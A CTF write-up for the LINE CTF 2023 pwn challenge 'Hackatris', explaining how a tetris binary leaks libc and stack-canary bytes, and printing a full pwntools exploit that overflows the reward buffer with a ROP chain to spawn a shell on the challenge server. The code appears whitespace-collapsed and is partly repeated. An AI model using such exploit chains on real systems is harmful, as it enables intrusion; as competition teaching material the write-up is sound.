This weekend, I played LINE CTF 2023 with my team Water Paddler. We got the 2nd place. This is my writeup for one of the pwn challenge that we solved together called Hackatris.
Pwn
Hackatris
Initial Analysis
We were given a binary called game. Let’s start by running it first.
Turns out, it is an implementation of tetris. Some behavior that we notice:
The tile of the tetris’ block contains a hex string.
Difficulty are changing evertime there is a new tile.
It uses ncurse screen, which means parsing it will be very painful later.
To understand that behaviors, let’s start disassemble the binary. Below is the interesting functions that we analyzed during working on the challenge:
This is the responsible function that generates the text on the tiles. Turns out, the hex string on the tiles are a leak. Based on that function, the get_bleak the possible value that we can leak from the tiles are:
system libc address (if the rand result is 0).
canary value (if the rand() result is 1, because if v1 = 1, v2+1 is v3, which is canary).
Notes that because all of the tiles have different shapes, the leak that we get from one tile won’t be full (For example, if the shape is cube, the total leaks will be only 4). We need multiple tiles with different shapes but same rand() value in order to retrieve the full value.
And then, notice that the Difficulty is actually B_leak_r, which is the rand() value result. So, for each tile that we saw, we actually can know which leak it is by checking the difficulty value shown in the ncurse screen. For example, if the difficulty is 11, that means the rand() value is 1, which means the leaked value printed in the current tile are canary.
Notice that the while loop in the bottom is actually just trying to convert hex string input to bytes, and then stored it in v6. There is a bug in that while logic actually, where it won’t stop until it found invalid character of hex. This means that we can do buffer overflow on the scoreboard menu, specifically in the reward variable.
Also reading in the main function, notice that the show_scoreboard is only called if our tetris score is not 0.
So, based on those findings, the task for this challenge is to:
Retrieve libc and canary value based on the given leaks at the tiles.
Clear at least one line of tetris so that the game will call the show_scoreboard when the game is over.
Solution
So, to trigger the bug that we found in the initial analysis, we need to recover the leaked data first. However, the binary use ncurse, which is very painful to be processed without a parser or emulator. So, the first step and the hard part is to handle the ncurse output.
Handle ncurse
We use pyte to handle the ncurse. Below is the example POC script that you can use to parse the ncurse screen.
r=conn()'''
Parse ncurse screen to collect leaked bytes while also playing
the tetris. We need to clear at least 1 line to be able to input
our reward.
'''# Parse ncurse with pytescreen=pyte.Screen(100,500)stream=pyte.ByteStream(screen)prev_difficulty=0curr_idx=1need_to_check_leak=-1found_reward=Falsestop_move=Falserand_val=10# Will be used to store the leaked bytes.leaked_map={}foriinrange(6):leaked_map[i]=[0]*8leaked_map[0][5]=0x7fleaked_map[0][0]=0x60# Libc system always end with 60 and start with 7f. Need this to speed up the leakage process# Parse ncurse payloadwhileTrue:b=r.recv(2048)stream.feed(b)# Cleaned scr will parse the received bytes so that it only print the mapcleaned_scr=[]fordispinscreen.display[5:35]:cleaned_scr.append(disp[5:57])# Print leaked bytes on each iterationprint(f'rand_val: {rand_val}')forkey,valinleaked_map.items():print(f'leaked_map[{key}]: {hex(u64(bytes(val)))}')print(f'-'+'000102030405060708091011121314'+f'-')forrowincleaned_scr:if'Reward'inrow:# Exit the loop, so that we can send our BOF payloadfound_reward=Trueprint(f'Found reward')print(row)print(f'-'+'000102030405060708091011121314'+f'-')iffound_reward:break# Collect difficulty and scoretry:curr_difficulty=int(cleaned_scr[20].split(' Difficulty: ')[1])curr_score=int(cleaned_scr[22].split(' Score: ')[1])except:continue# We don't want to move manually again. That means we've fully recovered the# leak, and want to end the game so that we can get the Reward screenifstop_move:continue# Try to parse tiles, and collect leaked bytes of libc address and canaryifprev_difficulty!=curr_difficulty:# There is a new tile, Parse it later after the screen buffer is fulfilledneed_to_check_leak=5rand_val=curr_difficulty-10*curr_idxprev_difficulty=curr_difficultycurr_idx+=1elifneed_to_check_leak>0:# Buffer the screen, so that the full tiles are renderedneed_to_check_leak-=1elifneed_to_check_leak==0:# Time to parsefirst_leaked_row=-1last_leaked_row=-1forrow_i,rowinenumerate(cleaned_scr):if' 'notinrowandfirst_leaked_row==-1:first_leaked_row=row_ielif' 'inrowandfirst_leaked_row!=-1:last_leaked_row=row_i-1break# Dirty code, but basically this whole if conditional logic is trying# to parse the tiles and store the leaked bytes to our leaked_mapiflast_leaked_row!=-1andfirst_leaked_row!=-1:# Parse tilesforiinrange(last_leaked_row,first_leaked_row-1,-1):iflast_leaked_row-first_leaked_row==1:if' 'notincleaned_scr[i][13:17]and' 'notincleaned_scr[i-1][13:17]:foriiinrange(last_leaked_row,first_leaked_row-1,-1):forjinrange(13,19,2):# print(((last_leaked_row-ii+1)*3) + ((j-13)//2))if((last_leaked_row-ii+1)*3)+((j-13)//2)==8:breakifcleaned_scr[ii][j:j+2]!=' ':leaked_map[rand_val][((last_leaked_row-ii+1)*3)+((j-13)//2)]=int(cleaned_scr[ii][j:j+2],16)^0x41breakiflast_leaked_row==first_leaked_row:forjinrange(11,19,2):if2+((j-11)//2)==8:breakifcleaned_scr[i][j:j+2]!=' ':leaked_map[rand_val][2+((j-11)//2)]=int(cleaned_scr[i][j:j+2],16)^0x41breakforjinrange(13,19,2):if((last_leaked_row-i)*3)+((j-13)//2)==8:breakifcleaned_scr[i][j:j+2]!=' ':leaked_map[rand_val][((last_leaked_row-i)*3)+((j-13)//2)]=int(cleaned_scr[i][j:j+2],16)^0x41# Input your move manual, so that we can parse while playing the tetris# to cleat at least 1 line.need_to_check_leak=-1ifnotstop_move:moves=input('Your move: ')ifmoves=='stop':stop_move=Trueelse:formoveinmoves:r.sendline(move.encode())r.sendline(b' ')
Basically, what’s the above script did are:
Parse the ncurse screen received from the server
Everytime there is a change in the difficulty, that means there are a new leak. So, we only parse the screen everytime there is a change in the difficulty
Then, after successfully parsed, the script will ask for user manual input on where to put the parsed tiles.
Later on, if the sequence of manual movements that we input are able to clear one line, when we clear the game, there will be a Reward text in the parsed screen and the while loop will be stopped.
Below is the example of the full leaked data if you’re lucky enough (Spent quite a lot of time due to the RNG is not on our side…). leaked_map[0] is the leaked libc address of system, the leaked_map[1] is the leaked canary value.
After getting the leak, it is time to move to the next step, which is abusing the buffer overflow bug to gain code execution.
Warning
Remember that to trigger the show_scoreboard function, your score isn’t allowed to be zero. So, ensure that you have cleared at least one line before cleared the game.
Gain Code Execution
After we got the leaked data (canary and libc address), then the last step would be to finish the game and exploit the buffer overflow bug in the show_scoreboard function in the reward param.
We just need to do usual buffer overflow exploit. We decided to call system('/bin/sh') with the buffer overflow bug. To summarize, the buffer overflow payload will be:
b'a'*0x48 (Fulfill the reward array)
p64(canary) (Put the leaked canary)
p64(0) (Set rbp to 0 or any value (It doesn’t matter because we don’t use it))
p64(ret) (Add extra ret for alignment)
p64(pop_rdi) + p64(bin_sh_addr) (Set rdi to pointer to string /bin/sh)
frompwnimport*importpyteexe=ELF("game_patched")libc=ELF("./libc-2.35.so")context.binary=execontext.arch='amd64'context.encoding='latin'# context.log_level = 'DEBUG'warnings.simplefilter("ignore")remote_url="35.194.113.63"remote_port=10004gdbscript='''
'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:# gdb.attach(r, gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnros.environ['PWNLIB_NOTERM']='1'os.environ['term']='xterm-256color'r=conn()'''
Parse ncurse screen to collect leaked bytes while also playing
the tetris. We need to clear at least 1 line to be able to input
our reward.
'''# Parse ncurse with pytescreen=pyte.Screen(100,500)stream=pyte.ByteStream(screen)prev_difficulty=0curr_idx=1need_to_check_leak=-1found_reward=Falsestop_move=Falserand_val=10# Will be used to store the leaked bytes.leaked_map={}foriinrange(6):leaked_map[i]=[0]*8leaked_map[0][5]=0x7fleaked_map[0][0]=0x60# Libc system always end with 60 and start with 7f. Need this to speed up the leakage process# Parse ncurse payloadwhileTrue:b=r.recv(2048)stream.feed(b)# Cleaned scr will parse the received bytes so that it only print the mapcleaned_scr=[]fordispinscreen.display[5:35]:cleaned_scr.append(disp[5:57])# Print leaked bytes on each iterationprint(f'rand_val: {rand_val}')forkey,valinleaked_map.items():print(f'leaked_map[{key}]: {hex(u64(bytes(val)))}')print(f'-'+'000102030405060708091011121314'+f'-')forrowincleaned_scr:if'Reward'inrow:# Exit the loop, so that we can send our BOF payloadfound_reward=Trueprint(f'Found reward')print(row)print(f'-'+'000102030405060708091011121314'+f'-')iffound_reward:break# Collect difficulty and scoretry:curr_difficulty=int(cleaned_scr[20].split(' Difficulty: ')[1])curr_score=int(cleaned_scr[22].split(' Score: ')[1])except:continue# We don't want to move manually again. That means we've fully recovered the# leak, and want to end the game so that we can get the Reward screenifstop_move:continue# Try to parse tiles, and collect leaked bytes of libc address and canaryifprev_difficulty!=curr_difficulty:# There is a new tile, Parse it later after the screen buffer is fulfilledneed_to_check_leak=5rand_val=curr_difficulty-10*curr_idxprev_difficulty=curr_difficultycurr_idx+=1elifneed_to_check_leak>0:# Buffer the screen, so that the full tiles are renderedneed_to_check_leak-=1elifneed_to_check_leak==0:# Time to parsefirst_leaked_row=-1last_leaked_row=-1forrow_i,rowinenumerate(cleaned_scr):if' 'notinrowandfirst_leaked_row==-1:first_leaked_row=row_ielif' 'inrowandfirst_leaked_row!=-1:last_leaked_row=row_i-1break# Dirty code, but basically this whole if conditional logic is trying# to parse the tiles and store the leaked bytes to our leaked_mapiflast_leaked_row!=-1andfirst_leaked_row!=-1:# Parse tilesforiinrange(last_leaked_row,first_leaked_row-1,-1):iflast_leaked_row-first_leaked_row==1:if' 'notincleaned_scr[i][13:17]and' 'notincleaned_scr[i-1][13:17]:foriiinrange(last_leaked_row,first_leaked_row-1,-1):forjinrange(13,19,2):# print(((last_leaked_row-ii+1)*3) + ((j-13)//2))if((last_leaked_row-ii+1)*3)+((j-13)//2)==8:breakifcleaned_scr[ii][j:j+2]!=' ':leaked_map[rand_val][((last_leaked_row-ii+1)*3)+((j-13)//2)]=int(cleaned_scr[ii][j:j+2],16)^0x41breakiflast_leaked_row==first_leaked_row:forjinrange(11,19,2):if2+((j-11)//2)==8:breakifcleaned_scr[i][j:j+2]!=' ':leaked_map[rand_val][2+((j-11)//2)]=int(cleaned_scr[i][j:j+2],16)^0x41breakforjinrange(13,19,2):if((last_leaked_row-i)*3)+((j-13)//2)==8:breakifcleaned_scr[i][j:j+2]!=' ':leaked_map[rand_val][((last_leaked_row-i)*3)+((j-13)//2)]=int(cleaned_scr[i][j:j+2],16)^0x41# Input your move manual, so that we can parse while playing the tetris# to cleat at least 1 line.need_to_check_leak=-1ifnotstop_move:moves=input('Your move: ')ifmoves=='stop':stop_move=Trueelse:formoveinmoves:r.sendline(move.encode())r.sendline(b' ')'''
If this is reached, that means we've fully recovered the leak.
It's time to gain RCE
'''leaked_libc=u64(bytes(leaked_map[0]))libc.address=leaked_libc-libc.symbols.systemcanary=u64(bytes(leaked_map[1]))log.info(f'Leaked libc: {hex(leaked_libc)}')log.info(f'Libc base: {hex(libc.address)}')log.info(f'Canary: {hex(canary)}')# BOF Payload system('/bin/sh')pop_rdi=libc.address+0x001bc021payload=b'a'*0x48payload+=p64(canary)payload+=p64(0)payload+=p64(pop_rdi+1)payload+=p64(pop_rdi)payload+=p64(next(libc.search(b'/bin/sh')))payload+=p64(libc.symbols.system)r.sendline(payload.hex().encode())r.interactive()